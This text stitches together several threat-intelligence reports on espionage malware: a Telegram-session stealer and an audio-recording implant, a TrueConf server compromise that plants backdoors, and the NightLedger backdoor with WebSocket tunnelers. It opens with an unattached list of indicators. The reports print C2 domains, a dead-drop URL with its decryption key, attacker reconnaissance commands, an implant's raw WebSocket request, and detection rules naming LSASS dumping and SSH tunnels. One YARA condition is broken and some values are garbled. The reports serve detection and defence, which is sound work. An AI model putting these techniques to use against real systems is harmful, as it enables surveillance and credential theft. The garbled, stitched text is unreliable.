EB79558B037669792652A816E2C669DE ctxmui.dll

C:\Program Files\microsoft\windows defender\
C:\Program Files\windows media player\mediares\
C:\ProgramData\symantecdir\
C:\ProgramData\virtualstore\
C:\Windows\identitycrl\production\
C:\Windows\serviceprofiles\networkservice\
C:\Users\<user>\AppData\Local\viber24.8\
C:\Users\<user>\AppData\Roaming\dsassistant\
C:\Program Files\common files\microsoft shared\office14\
C:\programdata\msdn\

cloudtroe.giize[.]com
employers.theworkpc[.]com
freeread.casacam[.]net
us.lenovoappstore[.]com
sundanish.freeddns[.]org
torinarlabs.webredirect[.]org
news.dursamjbataar[.]org
video.dursamjbataar[.]org
black-popular[.]com
whatismybestthing[.]com

In May 2026, we discovered a new cyber-espionage campaign by the Armored Likho group, also known as Eagle Werewolf, that targets private individuals and organizations across various industries in Russia, including major corporations, the public sector, IT, and education. The attackers used a fake app as bait that mimics a service for donations. However, the most interesting part of this campaign isn’t the initial infection method – it’s the malicious implants the attackers use for cyber-espionage.

We’ve written previously about recent Armored Likho attacks, but our analysis shows that the campaign discussed below has more in common with the group’s activity from February. That said, the attackers have significantly expanded their arsenal.

During our research, we found a new cyber-espionage toolkit written in Rust: the Still Toolkit. One of its components, Still Sync, steals Telegram session data to gain ongoing access to the victim’s account. With this stolen data, attackers can leverage the Telegram API to automatically pull chat logs, media files, and other information from the account.

The second component, Still Audio, is an implant for covert audio surveillance. It analyzes the incoming audio stream, automatically detects speech, records conversations, and sends the recordings to a command-and-control server.

In this article, we’ll look at the initial infection method, how the new Still Toolkit components are built, and the technical details of how they operate.

Kaspersky products detect this threat as Trojan.Win64.Agent.* and HEUR:Backdoor.Win32.Generic.

Background

Armored Likho’s malicious activity has been documented several times before: in November 2024, and in February and July 2026. The current campaign shows significant overlap with the November and February campaigns, which used malicious droppers disguised as documents and applications related to Starlink activation or fundraising efforts as the initial infection vector. This campaign also uses fundraising as its lure. At the same time, our research uncovered a number of new tools that point to the attackers expanding their capabilities.

Initial infection

The infection chain starts with an app that mimics a donation service. As of this writing, the app distribution method remains unknown. During our research, however, we obtained several samples posing as apps from different Russian foundations.

In reality, the app is a dropper. Its developers wrote it in Rust on top of the popular Tauri framework, and it has a graphical interface designed to deceive the user. After launch, it displays a login form that asks for a password, presumably one the attackers supplied.

After the user enters a valid password, they see a catalog of donatable items. The app pulls item and category information from orderapiserver[.]info through the public/categories and public/products endpoints. A clickable catalog makes the app look legitimate. While the user browses the items, the dropper quietly decrypts and launches the payload for the next stage in the background.

Our analysis shows that the mechanism for decrypting the payload and launching subsequent stages hasn’t changed since the February campaign. However, we found a new cyber-espionage toolkit – the Still Toolkit – made up of two components: Still Sync and Still Audio.

Still Sync

Still Sync is a stealer written in Rust that steals Telegram session data. However, its capabilities don’t stop there. With this stolen data, Sync can log in to the victim’s account and pull messages and media files through the Telegram API.

Architecturally, Sync is an asynchronous application based on the Tokio library. It talks to the server over gRPC and serializes messages with FlatBuffers. It supports both HTTP and HTTPS as transport protocols; the URL of the command-and-control server determines which one it uses.

How it works

When Sync launches, the attackers set several environment variables. Before starting any malicious activity, the implant pulls configuration parameters from these:

• STILL_SYNC_ADDR: the address of the command-and-control server. By default, this is https://tg4service[.]com:443.
• STILL_SEND_PATH: the path to the tdata
• STILL_TELEGRAM_PASSCODE: the password for decrypting the tdata folder, if Telegram data encryption is enabled on the victim’s device.

Sync also supports several command-line arguments:

• --console: runs as a console application. If this parameter is absent, the implant creates a TReload service to keep running in the background.
• --version: prints version information and exits.
• --firefly: launches a trace thread that monitors the program’s operation. It writes error messages to a hidden file, bin, located in the same folder as the main executable.
• --db: turns on debug mode with detailed logging.

Once it launches, the malware begins registering the device with the C2 server. To do this, Sync collects the following information about the victim’s system:

• Motherboard serial number
• CPU ID
• System UUID
• BIOS serial number
• Computer domain name

The malware combines the collected data into a single string with a colon as the separator. It then hashes that string with SHA-256 and stores the resulting hash under the key sysmarker. Worth noting: other Armored Likho tools, AquilaRAT included, use this same hashing algorithm.

Sync then serializes a package containing all the collected information and the agent version, and sends it in a POST request to /still.rpc.Sync/RegisterMachine. The response contains a machine_id value, which Sync uses to identify itself in subsequent requests.

Once registration succeeds, Sync sends a POST request with the machine_id parameter to /still.rpc.Sync/GetMachineSettings. The server responds with the following settings:

• enabled: triggers malicious activity on the infected device.
• scan_portable: turns on extended scanning when searching for the tdata We’ll cover this feature in more detail below.
• fetch_telegram: if this parameter is on, Sync attempts to log in to Telegram and extract data. We’ll cover this feature in more detail below.
• download_channels: if this parameter is off, Sync skips channel dialogs when exfiltrating Telegram data.

These parameters have no default values, so Sync doesn’t perform any malicious actions until the registration and settings-retrieval processes both complete successfully.

Telegram data collection

Before stealing a Telegram session, Sync searches for the tdata folder, unless the STILL_SEND_PATH variable is already set. The list of search paths includes both standard and nonstandard directories, if the scan_portable option is turned on:

• C:\Users\<username>\AppData\Roaming\Telegram Desktop\: the standard Telegram Desktop installation directory.
• C:\Users\<username>\AppData\Local\Packages\<package_folder>\LocalCache\Roaming\: the installation directory for the Microsoft Store version. Sync identifies the package folder by a name that contains the string TelegramMessenge.
• C:\: used for the extended search (if the scan_portable option is on).

Sync then sends a POST request with a list of files from the tdata folder to the /still.rpc.Sync/CheckFiles endpoint. The server responds with the following values:

• snapshot_id: an identifier the server assigns to the current data snapshot.
• present: a list of file paths that are already present on the server.

This lets the C2 server avoid re-receiving files it already has. In addition, if Sync can’t access files on disk through standard methods, it falls back on three mechanisms that abuse the SeBackupPrivilege privilege:

• Opening files with the CreateFileW function using the FILE_FLAG_BACKUP_SEMANTICS parameter
• Creating a backup copy through the Shadow Copy service and reading files from there
• If the previous methods all fail, attempting to copy the file using the Robocopy utility in backup mode

Beyond stealing Telegram session data, Sync can carry out full-scale collection of user information from the messaging app. When the fetch_telegram option is on, it launches a separate thread that authenticates to the chat app using the previously obtained tdata. Once authentication succeeds, Sync gains access to the account data and sends the following collected information to the server:

• User details, such as username, phone number, first and last name
• Information about private chats, groups, or channels, such as chat name and ID, the member list, and so on
• Dialogs from private chats, groups, and channels (if the download_channels option is on)
• Media files under 250MB: photos, documents, stickers, and contacts

Still Audio

Still Audio is an audio surveillance implant written in Rust. Its main job is to analyze the incoming audio stream and start recording voice when certain conditions are met – we’ll cover those in the next section. Architecturally, Still Audio largely mirrors Sync and uses the same mechanisms for communicating with the C2 server.

On launch, Still Audio performs a sequence of actions:

• It extracts libmp3lame.dll, a file stored inside the executable. This is a library used to encode audio data.
• If the --console command-line argument is absent, the implant creates a service named auxhost, connects to it, and continues running in the background.
• While running in the background, it creates a file, logfile.log, to write logs to.

Next, Still Audio retrieves the C2 server address. As with Sync, it stores the URL in an environment variable – in this case, STILL_AUDIO_SYNC_ADDR. If that variable isn’t set, it falls back to STILL_SYNC_ADDR, which shows the two modules are compatible with each other. If neither variable is set, it uses the default URL, https://srwinservice[.]com.

Still Audio also uses the Dead Drop Resolver technique as a fallback mechanism for obtaining the C2 address. If the current server stays unreachable for three days, the tool tries to pull the current C2 URL from a GitHub repository. In the sample under analysis, we found the following URL for the page containing C2 information: hxxps://raw.githubusercontent[.]com/mmarln/pi-mono/refs/heads/main/packages/pods/src/array12.json

The repository, a fork of a popular project, contains the server URL Base64-encoded and encrypted with the Blowfish algorithm in ECB mode, using the key 5c8e153228edd3c6cbf75684 (lowercase string). Older AquilaRAT samples use this exact same algorithm and key.

Once it obtains the current C2 address, the Audio module starts a registration process similar to Sync’s, but through a different endpoint:

/still.rpc.Audio/RegisterAudioMachine. Also, unlike Sync, Audio sends a list of available audio input devices along with the system information.

The server responds with settings for the implant:

• machine_id: a unique identifier for the current device.
• vad_threshold: the threshold value for the VAD (Voice Activity Detection) algorithm. Expressed as a decimal fraction, it represents a proportion of the maximum sound level the input device can pick up. Sound above this threshold counts as voice activity. The default vad_threshold is 02.
• max_silence_duration: the number of audio samples with a VAD value below the set threshold after which the implant considers the recording finished.
• max_buffer_size: the maximum buffer size for recorded audio data.
• active_device: the name of the input device selected for recording, from the list of available devices.

The eavesdropping process

Still Audio works with raw audio samples it captures directly from the input device. To detect voice activity, it implements an algorithm based on Root Mean Square (RMS), a lightweight signal-processing method that distinguishes speech from silence by measuring the audio signal’s average power over time. The implant doesn’t rely on any third-party libraries here; it implements all the calculations itself.

The implant compares the calculated RMS value against the vad_threshold parameter. If RMS meets or exceeds this threshold, recording starts. To avoid losing the beginning of the recording, Still Audio uses a pre-buffer, a size-limited buffer that stores samples from just before the current recording moment. A sequence of max_silence_duration samples (320 by default) with RMS values below the threshold signals the end of the recording. For example, with a standard headset running at a 44.1kHz sampling rate, recording stops after roughly 7ms of silence.

Interestingly, the Audio module makes no attempt to hide its use of the microphone: its name shows up in Windows settings. In the sample we examined, the file was saved to disk as IntAudio.exe, and it appeared in the list of apps using the microphone as “Intel Audio”:

Before sending recordings to the server, the implant uses the libmp3lame library to encode the raw audio samples. It sends the recording files via a POST request to /tgfrg, adding a Client-Id header containing the machine_id obtained during registration to identify the device.

Infrastructure

This campaign draws on a broad set of hosting providers and domains registered at different points in time, which suggests the attackers are trying to make their infrastructure harder to detect. We found no direct overlap in domains or IP addresses with the February campaign. Even so, the two infrastructures share some similarities:

• They use the same hosting providers, with the ASNs 149440, 202448, and 215311.
• Their domain names follow similar naming patterns that mimic Windows system services and update mechanisms.

Domain	IP address	Registration date	ASN
orderapiserver[.]info	187.127.153[.]38	April 18, 2026	47583
tg4service[.]com	159.198.37[.]74	October 4, 2025	22612
srwinservice[.]com	213.252.244[.]123	March 19, 2026	61272
screenserv[.]com	23.26.237[.]250	February 13, 2026	149440
windowserv[.]net	23.27.24[.]30	February 10, 2026	149440
managementapiservice[.]com	188.212.124[.]178	May 1, 2026	202448
service8date[.]com	145.223.69[.]143	January 13, 2026	215311
updateservs[.]com	145.223.68[.]66	December 23, 2025	215311

Victims

In this campaign, we’ve determined that the attackers’ primary targets are users in Russia. Most victims are private individuals, though the corporate sector, government organizations, IT companies, and educational institutions are also affected.

Attribution

This campaign has been using both new tools and malware families documented in BI.ZONE’s February report. While some components turned up for the first time, they show significant code-level overlap with malicious tools seen in earlier Armored Likho campaigns. Based on these overlaps, along with additional technical artifacts, we’re highly confident the Armored Likho group is behind the campaign. The overlaps we identified include:

• Identical dropper architecture in the February and current campaigns, which includes the use of the Tauri library to build the graphical interface, a similar user-input handler, a payload with the ICRYPTMP header, and the same multi-part encryption format.
• The same encryption algorithm and key used in AquilaRAT from the previous campaign and in the Still Audio module from the current campaign, both implementing the Dead Drop Resolver technique.
• Identical logic for generating the sysmarker value in older AquilaRAT samples and in the Still toolkit from the current campaign. The algorithms match down to the PowerShell commands used to collect system information.
• Substantial infrastructure overlap, which includes the hosting providers and domain-naming patterns described in the Infrastructure section.

Takeaways

The campaign described in this post shows Armored Likho’s toolkit evolving, with the group steadily expanding its cyber-espionage capabilities. Beyond the components we already knew about, the attackers rolled out new modules that let them not only access Telegram data but also conduct audio surveillance on victims. Together, these capabilities significantly widen the range of information attackers can collect in a single compromise.

One point deserves particular attention: the new tools form a cohesive set, sharing similar architecture, C2 communication mechanisms, and common implementation elements. This points to the group building out its own tool ecosystem, designed for long-term use and further expansion.

The emergence of new, specialized modules shows the attackers aren’t just trying to preserve their existing capabilities – they’re working to make intelligence-gathering more effective by controlling multiple communication channels at once.

Indicators of compromise

Additional information about this threat, indicators of compromise included, is available to customers of Kaspersky Threat Intelligence Reporting. Contact intelreports@kaspersky.com for more details.

File hashes
Droppers
C1D1EE16B92E6A138FFA048855F75D7D
17674B250D8B422A50A86C9FF207186D
62801F6223E860A7CCA271522E303B2D

Still Sync
68F0365D2FA8C828D012D8859E52A773
4BD7C352AE277B0E38D07BEEDD4DD507
D4BC09FB10EA2A5DC0BCBEEDA5E5AFDD

Still Audio
2CA8ADBAB98EBE305EACF272CF48F5A0
3AC41B097236A7723821848AE31EF141
439255736797BC88BD19F282449E0436

Domains
orderapiserver[.]info
tg4service[.]com
srwinservice[.]com
screenserv[.]com
windowserv[.]net
managementapiservice[.]com
service8date[.]com
updateservs[.]com

Overview of the attack

In July 2026, Kaspersky experts detected a new attack by the Head Mare group. Previously, we classified them as hacktivists, but now we define them as an APT group due to the sophistication of their TTPs and the absence of destructive activity (encryption, wiping) in the targeted infrastructures. In this latest campaign, the attackers exploited a chain of vulnerabilities in the TrueConf video conferencing server and replaced the original TrueConf client installers with infected versions that installed the PhantomCore malware on the system.

An investigation of the compromised server revealed that the attackers used a combination of two new vulnerabilities (assigned the internal identifiers KLCERT-26-057 and KLCERT-26-058), allowing them to execute arbitrary code with the highest privileges.

The attack occurs in several stages:

1. The attackers connect to the TrueConf server without prior authorization via port 4307/TCP, which, according to the product documentation, is open by default. The attack targets TrueConf servers running versions 5.3.X through 5.3.9, 5.4.X through 5.4.9, and 5.5.X through 5.5.5.
2. Once connected, attackers call a server function to transmit a malicious script and execute it on the server. The vulnerability that allows this stage of the attack to be carried out has been assigned the internal identifier KLCERT-26-057.
3. The received script runs on the TrueConf server in an isolated environment. By default, operating system functions are not accessible in this environment, which should limit the capabilities of the executed code.
4. To escape the isolated environment, attackers exploit a second vulnerability, assigned the internal identifier KLCERT-26-058. Exploiting this vulnerability allows them to bypass the restrictions of the isolated environment and proceed to execute commands in the context of the operating system.
5. Once the environment’s restrictions are bypassed, attackers gain the ability to execute arbitrary code on the server with the privileges of the NT AUTHORITY\SYSTEM account.
6. Once they have gained elevated privileges, attackers replace the file …\public\js\locale.php with a web shell, which can be used for subsequent remote control of the compromised server.

This web shell was used for the following activities:

• collecting data on the IT infrastructure;
• gaining privileged access to the TrueConf database;
• replacing the original TrueConf Client distribution with an infected version containing the PhantomCore backdoor.

The vulnerabilities exploited by the attackers were patched by the vendor in the latest TrueConf Server updates (versions 5.3.9, 5.4.9, and 5.5.5). These updates were released on June 18, 2026.

The PhantomCore backdoor was successfully detected by Kaspersky solutions.

To automatically launch the malware after the system boots, a registry key is created: HKEY_CURRENT_USER\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}\InprocServer32, with the value set to the path to the malicious program’s file.

Using a web shell, in addition to PhantomCore, the attackers load a backdoor that we have named PhantomGraph, consisting of two modules:

• SysExcSvc.dll is responsible for receiving commands from the attackers and transmitting the results of their execution. The attackers used an account on Microsoft OneDrive cloud storage as their command-and-control (C2) server.
• SysReadSvc.dll reads the command transmitted by the first module, executes it, and saves the execution result.

To establish persistence on the system, the attackers execute a Base64-encoded PowerShell command that installs SysExcSvc.dll and SysReadSvc.dll as Windows services. We believe the attackers deliberately split this malicious command into two components to make it harder to detect using EDR tools. Additionally, the program’s code partially matches that of PhantomCore, indicating that it belongs to Head Mare’s arsenal.

We also managed to identify the commands executed by the attackers when connecting to the backdoor. The SysReadSvc module executes commands using a BATCH file. Example of execution:

$system32\cmd.exe /c cmd /c ""$temp\cmd_cmd_4488.bat"" 2>&1

Commands detected:

• Memory dump of the lsass.exe process:

• Reconnaissance of the user and system names:

hostname

whoami

"$system32\WindowsPowerShell\v1.0\powershell.exe" -noexit -command Set-Location -literalPath '$system32\inetsrv'

• Launching an SSH reverse tunnel:

In addition, we discovered several commands that did not work due to the attackers’ typos and encoding issues.

We are observing several active Head Mare campaigns targeting Russian organizations across various industries: instrument manufacturing, electronics, transportation, energy,
IT, and software development. The attackers distribute their backdoors using various methods, including phishing, exploiting public web servers, or through a subcontractor.

We recommend that all organizations using TrueConf software install the latest server version (versions 5.3.9, 5.4.9, and 5.5.5) in accordance with the vendor’s recommendations.

We also recommend verifying that the client distributions downloaded from the TrueConf server used by your organization have a valid TrueConf digital signature and have not been tampered with. The malicious distributions we detected did not have a valid digital signature. You can also verify authenticity on the vendor’s website.

Important: Even if your organization does not use a TrueConf server, your employees may connect to compromised TrueConf servers belonging to business partners to participate in online meetings and download infected installation packages.

The attack mechanism and the vulnerabilities exploited are described in more detail on the Kaspersky ICS CERT website.

Detection by Kaspersky solutions

Kaspersky security solutions successfully detect malicious activity associated with the attacks described above.

The malware used in this attack is detected by our solutions with the following detection names:

• Backdoor.PHP.WebShell.abi,
• Backdoor.Win64.PhantomCore.dt,
• Trojan.Win64.Agent.smgvnc,
• Trojan.Win64.Agent.smgvnb,
• HEUR:Backdoor.Win64.PhantomCore.gen,
• HEUR:Backdoor.Linux.Agent.fb,
• HEUR:Backdoor.Linux.PhantomHook.a,
• HEUR:Backdoor.Linux.PhantomReact.a,
• Trojan.Win64.PhantomGraph.gen
• UDS:Backdoor.Win64.PhantomCore.a

Let’s take a closer look using Kaspersky Endpoint Detection and Response Expert (KEDR Expert) as an example.

Specifically, activity involving the replacement of the legitimate file …\public\js\locale.php with a web shell, as well as the deletion of entries from TrueConf event logs, is detected by the rule unusual_php_file_creation_from_trueconf_process.

Downloading a file containing the PhantomCore backdoor via the replaced legitimate file …\public\js\locale.php is detected by KEDR Expert with the rule unusual_file_creation_from_trueconf.

Activity related to the installation of an infected TrueConf client installer containing the PhantomCore backdoor is detected by KEDR Expert using the unsigned_trueconf_installer rule.

The Kaspersky Managed Detection and Response service detects the described attack by monitoring the following actions:

1. Creation of suspicious files by TrueConf Server processes.
2. Execution of a TrueConf Client installer file that lacks a software developer’s signature.
3. Suspicious process chains associated with TrueConf Client executables and TrueConf Client update executables.
4. Registration of suspicious libraries in the HKEY_CURRENT_USER\Software\Classes\CLSID\ registry key.
5. Actions related to retrieving information about the lsass.exe process.
6. Memory dump creation for the lsass.exe process using the comsvcs.dll library.
7. Accessing the memory of the lsass.exe process.
8. Creating tunnels using the ssh process.

To protect companies using our Kaspersky SIEM system, a general set of rules is available in the product repository that allows detection of the following techniques:

1. Creation of suspicious files in the C:\Windows\System32\inetsrv\* directory:
   R405_07_File write to IIS native modules folder or OWA via WriteData.
2. Creating a memory dump of the lsass.exe process using the comsvcs.dll library:
   R233_04_Process memory dump via comsvcs.dll.
3. Accessing the memory of the lsass.exe process:
   R262_Suspicious access to the LSASS process.

We also recommend paying attention to the following events when developing your own detection rules or conducting threat hunting:

1. Registration of suspicious libraries in the registry key \Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}\InprocServer32:
   

   (DeviceEventClassID = '4657' OR DeviceEventClassID = '13')
   AND FileName like '%\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}%' AND DeviceCustomString6 = 'InprocServer32'

2. Creating the SysExcSvc and SysReadSvc services to run executables from temporary directories in the background via cmd:
   

   DeviceEventClassID = '4697' 
   AND (DestinationServiceName = 'SysExcSvc' OR DestinationServiceName = 'SysReadSvc')
   AND match (FileName, '.*cmd\s+\/c.*temp\\cmd_cmd_.*\.bat.*')

3. Creation of suspicious processes originating from the TrueConf update process (trueconf_windows_update.exe)
   

   (DeviceEventClassID = '4688' OR DeviceEventClassID = '1')
   AND SourceProcessName LIKE '%\trueconf_windows_update.exe'

For the detection rules to work correctly, ensure that events from Windows systems are received in full, including Security events 4688, 4663, 4657, and 4697 and Sysmon events 1, 7, 11, and 13.

Indicators of compromise

File hashes (MD5)

Web shell
4d27b4eb1c5dbb3d8160f29b8119523e locale.php

Infected installer
748c9f8cb1065000616204935f96207f trueconf_windows_update.exe

PhantomCore DLL
c5a460e4e68a088f6e51b2c6474642ec
129462164a7d52e9ea8560b60f0412c5 doc.txt
ec0bf4a2186a88874e9f26f07cfeb532 usocacheddata.txt
b348642146ea34771e5785c5857950f5
c915cb6c2aeb863ee8479238e1644217 doc.txt
0e79996d9483d1e44fea32b0a48c2c19 doc.txt
2bb75c20e778eb5c416965bd4d4259b1 trueconf_windows_client_x64_[redacted].exe
b3a6fee3307f1c26841fd5c603e2b013 usocacheddata.txt
8fcc3e4ccbf1725d9989fb464abf3561 usocacheddata.txt

PhantomGraph
489f43be558b2679284ceabed7adc4f3 sysexcsvc.dll
dd1fd2b459b97b7d59375cb8383cd19a sysreadsvc.dll
0e4541c3153ec5ed01497f19cf4f63d0 sysexcsvc.dll
12d4e8f5295f2ef7e0f9bfc0f4830939 sysexcsvc.dll
7f267006cac10f341c356b62fe493527 sysexcsvc.dll
ee2861d5965e8730708cd1da8a93fa4c sysexcsvc.dll

Backdoor (ELF)
c3a2abe8756910f42582b04a44ea3514
43f435c3c437bc879a2d7d4634f43494

Rootkit
aee9642b45b099cb7f3053b9b680b425

IP

81.177.32[.]12
194.87.239[.]71 ssh
194.87.93[.]153 ssh
38.244.205[.]244
31.59.102[.]61

Domains

penzadogshelter[.]site
trendy-market[.]site
bright-deals[.]site
nova-stream[.]site
rinomobile[.]ink
urbanpixel[.]store
flexish[.]shop
media-hub[.]today
cosmetic-deals[.]store
vks.gossopka[.]forum

Windows service names

SysExcSvc
SysReadSvc

File paths

C:\Windows\System32\inetsrv\SysExcSvc.dll
C:\Windows\System32\inetsrv\SysReadSvc.dll
C:\Windows\System32\inetsrv\graphi-refresh.dat
C:\Windows\System32\inetsrv\share\input_*.txt
C:\Windows\System32\inetsrv\share\output_*.txt
%TEMP%\cmd_cmd_*.bat
%LOCALAPPDATA%\TrueConf\Client\api-ms-win-crt-time-l1-1-0-2.dll
/etc/systemd/system/omicluster.service
/etc/systemd/system/schedul2-bin.service
/opt/acronis/bin/schedul2-bin
/omi/bin/omicluster
/usr/lib64/libzvbi-tchain.so.2
/var/tmp/cx2

Registry keys

HKEY_CURRENT_USER\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}\InprocServer32

Kaspersky detection names

Backdoor.PHP.WebShell.abi
Backdoor.Win64.PhantomCore.dt
Trojan.Win64.Agent.smgvnc
Trojan.Win64.Agent.smgvnb
HEUR:Backdoor.Win64.PhantomCore.gen
HEUR:Backdoor.Linux.Agent.fb
HEUR:Backdoor.Linux.PhantomHook.a
HEUR:Backdoor.Linux.PhantomReact.a
Trojan.Win64.PhantomGraph.gen
UDS:Backdoor.Win64.PhantomCore.a

YARA rules

import "pe"
rule apt_HeadMare_PhantomCore
{
meta:
    description = "Rule to detect PhantomCore used by HeadMare"
    author = "Kaspersky ICS CERT"
    copyright = "Kaspersky ICS CERT"
    version = "1.0"
    last_modified = "2026-08-02"
    hash = "c5a460e4e68a088f6e51b2c6474642ec"
strings:
    $a1 = "lying.dll" ascii
    $a2 = { 2D 7F 95 4C 2D F4 51 58 }
    $a3 = { 4F 81 67 F7 7E 7B 05 14 }
condition:
    (uint16(0) == 0x5A4D) and (filesize > 4MB) and (filesize  20MB) and (all of them) and (pe.number_of_signatures == 0)
}

rule apt_HeadMare_FakeConf_installer
{
meta:
    description = "Rule to detect any unsigned TrueConf installers"
    author = "Kaspersky"
    copyright = "Kaspersky"
    version = "1.0"
    last_modified = "2026-08-02"
    hash = "748c9f8cb1065000616204935f96207f"

strings:
    $a1 = "TrueConf Setup" wide
    $a2 = "This installation was built with Inno Setup." wide

condition:
    (uint16(0) == 0x5A4D) and (filesize > 20MB) and (all of them) and (pe.number_of_signatures == 0)
}

rule apt_HeadMare_PhantomCore_exchange
{
meta:
    description = "Rule to detect PhantomCore exchange module used by HeadMare"
    author = "Kaspersky ICS CERT"
    copyright = "Kaspersky ICS CERT"
    version = "1.0"
    last_modified = "2026-08-02"
    hash = "489f43be558b2679284ceabed7adc4f3"
strings:
    $a1 = "graphi_exchange.dll" ascii
    $a2 = "graphi-client/1.0" ascii
    $b1 = "https://graph.microsoft.com/v1.0/me/drive/root:/" ascii
    $b2 = ":/children?$select=name,id&$top=200" ascii
    $b3 = "offline_access Files.ReadWrite" ascii
    $b4 = "GRAPHI_INSECURE" ascii
    $b5 = "\"@microsoft.graph.conflictBehavior\":\"replace\"}" ascii
    $b6 = "https://login.microsoftonline.com/" ascii
condition:
    (uint16(0) == 0x5A4D) and (any of ($a*)) and (3 of ($b*))
}

rule apt_HeadMare_PhantomCore_executor
{
meta:
    description = "Rule to detect PhantomCore executor module used by HeadMare"
    author = "Kaspersky ICS CERT"
    copyright = "Kaspersky ICS CERT"
    version = "1.0"
    last_modified = "2026-08-02"
    hash = "dd1fd2b459b97b7d59375cb8383cd19a"
strings:
    $a1 = "graphi_reader.dll" ascii
    $a2 = "^input_(.+)\\.txt$" ascii
    $b1 = "output_" ascii
    $b2 = "cmd_cmd_" ascii
    $b3 = "cmd /c \"\"" ascii
    $b4 = "error: failed to start cmd process" ascii
    $b5 = "share" ascii
    $b6 = "SysReadSvc" ascii
condition:
    (uint16(0) == 0x5A4D) and (filesize < 4MB) and (any of ($a*)) and (4 of ($b*))
}

rule apt_HeadMare_FakeLocale_webshell
{
meta:
    description = "Rule to detect the HeadMare TrueConf web shell"
    author = "Kaspersky"
    copyright = "Kaspersky"
    version = "1.0"
    last_modified = "2026-08-04"
    hash = "4d27b4eb1c5dbb3d8160f29b8119523e"

strings:
    $a1 = "X-Redirect-Bit" ascii wide nocase
    $a2 = "tc_vcs_web_db_conn" ascii wide
    $a3 = "user=postgres" ascii wide

    $b1 = "UPL ok::" ascii wide
    $b2 = "DWN fail nexs" ascii wide
    $b3 = "DWN fail inv" ascii wide

condition:
    (2 of ($a*)) or (2 of ($b*))
}

rule apt_HeadMare_TrueConf_Rootkit
{
meta:
    description = "Rule to detect the HeadMare rootkit installed on TrueConf servers"
    author = "Kaspersky"
    copyright = "Kaspersky"
    version = "1.0"
    last_modified = "2026-08-06"
    hash = "aee9642b45b099cb7f3053b9b680b425"

strings:
    $a1 = "PQconnectdb"
    $a2 = "obfuscated_data"
    $a3 = "install_hook"

condition:
    (uint32(0) == 0x464c457f) and (filesize < 400000) and (all of them)
}

rule apt_HeadMare_Github_Backdoor
{
meta:
    description = "Rule to detect the HeadMare backdoor with Github C2"
    author = "Kaspersky"
    copyright = "Kaspersky"
    version = "1.0"
    last_modified = "2026-08-06"
    hash = "43f435c3c437bc879a2d7d4634f43494"
    hash = "c3a2abe8756910f42582b04a44ea3514"

strings:
    $a1 = "cryptor5crypt"
    $a2 = "execraw_task"
    $a3 = "jitter_task"
    $a4 = "upload_task"
    $a5 = "exec_task"
    $a6 = "react_comment"

condition:
    (uint32(0) == 0x464c457f) and (filesize > 5000000) and (filesize < 10000000) and (4 of them)
}

Introduction

Mirage Kitten – also known as UNC1549, Smoke Sandstorm, and Nimbus Manticore – is an advanced persistent threat (APT) group focused on cyber-espionage operations against aerospace, aviation, defense, and telecommunications sectors across the Middle East and Africa, using highly targeted spear-phishing campaigns, fake recruitment portals, and custom multi-stage malware to gain persistent access and exfiltrate sensitive data.

During recent threat research, we identified a previously undocumented malware set developed and used by Mirage Kitten. The toolset includes NightLedger, a new Windows backdoor for reconnaissance, command execution, file operations, process discovery, and screenshot capture; and two custom WebSocket-based tunnelers, ArcBridge and BridgeHead, for covert network access and operator-controlled tunneling.

Technical details

Although the initial access vector remains unclear for most malware samples observed in this activity, we saw BridgeHead being deployed during post-exploitation activities in victim environments in Egypt and at a Pakistan-based aerospace and aviation organization. The deployment followed targeted spear-phishing activity consistent with tradecraft we recently documented as part of our private threat intelligence reporting service and publicly reported by Unit 42 and Check Point Research, including the use of highly tailored social engineering lures against selected targets. These lures included recruitment-themed content impersonating trusted brands and hiring platforms, as well as lookalike videoconferencing pages that redirected victims to malicious archives hosted on third-party file-sharing services.

NightLedger backdoor

NightLedger is a recently identified Windows backdoor that we attribute to Mirage Kitten based on code and behavioral similarities to the historical implants developed and used by the group. The implant masquerades as SspiCli.dll and appears to be designed for DLL search-order hijacking, targeting a legitimate AppVShNotify.exe binary. While AppVShNotify.exe does not directly import SspiCli.dll, it imports RPCRT4.dll, which can delay-load SspiCli.dll when it invokes an RPC API that requires authentication. This allows a co-located malicious SspiCli.dll to be loaded while forwarding expected exports to the legitimate DLL.

When started, the malicious DLL creates the mutex A8215357-F99A-44FE-BC65-D8F0434B0C03 to enforce a single running instance. If the mutex already exists, it exits immediately.

NightLedger periodically contacts its C2 over HTTPS, issuing an HTTP GET request to the /edfcvfgbhnjmkqwasderfgg endpoint at the realhealthshop[.]com domain, and uses tjconsultingservices[.]com as a fallback C2.

When a valid C2 response is received, the implant tokenizes the payload using the custom delimiter (#%%#) and passes the parsed fields to its command dispatcher. From a development standpoint, this is similar to TWOSTROKE, a backdoor attributed to the same APT and previously documented by GTIG, whose C2 response is hex-encoded and uses (@##@) as a field separator.

NightLedger supports the following commands:

Command ID	Description
1	Gather user and host identity information
3	Execute a process/program
17	List directories
20	Download a file to the infected system
25	Gather host and network information
27	Copy a file
30	Update beacon interval
36	Take a screenshot
43	Load a DLL
56	Kill a process
62	Delete a file
69	Terminate thread
70	Upload file to C2 server via POST request to /qasxcdfvgbhnmyuioplkhnj
75	Enumerate logical drives
90	List processes
93	Collect C:\Windows\debug\NetSetup.log together with process-list output. NetSetup.log is a Windows diagnostic log generated under C:\Windows\debug\ during domain/workgroup join, unjoin, and related network setup operations.

Command output is returned to the C2 via an HTTP POST request to /wsdefvvbnhyuijkplmbgfrtt.

BridgeHead – a WebSocket tunneler

During our investigation, we encountered a tunnel proxy deployed as unbcl.dll in the %LocalAppData%\Microsoft\VisualStudio directory on a machine in Egypt. We also identified a similar deployment in a Pakistan-based environment, where the tunneling tool was stored as C:\program files (x86)\univpn\promote\libwinpthread-1.dll. The malware dynamically loads advapi32.dll, resolves GetUserNameA, retrieves the current Windows username, converts it to lowercase, and searches for a specific substring in it. This behavior suggests prior reconnaissance was performed within the internal network and the username check is needed to make sure it runs on a specific machine. This is potentially intended to prevent execution of the standalone malware sample inside virtual analysis systems. If the substring is not found, the function returns silently without activating.

If the username check was successful, the tunneler establishes an HTTPS WebSocket connection as follows:

GET /connect HTTP/1.1
Host: smartconnect.azurewebsites.net
Upgrade: websocket
Connection: Upgrade
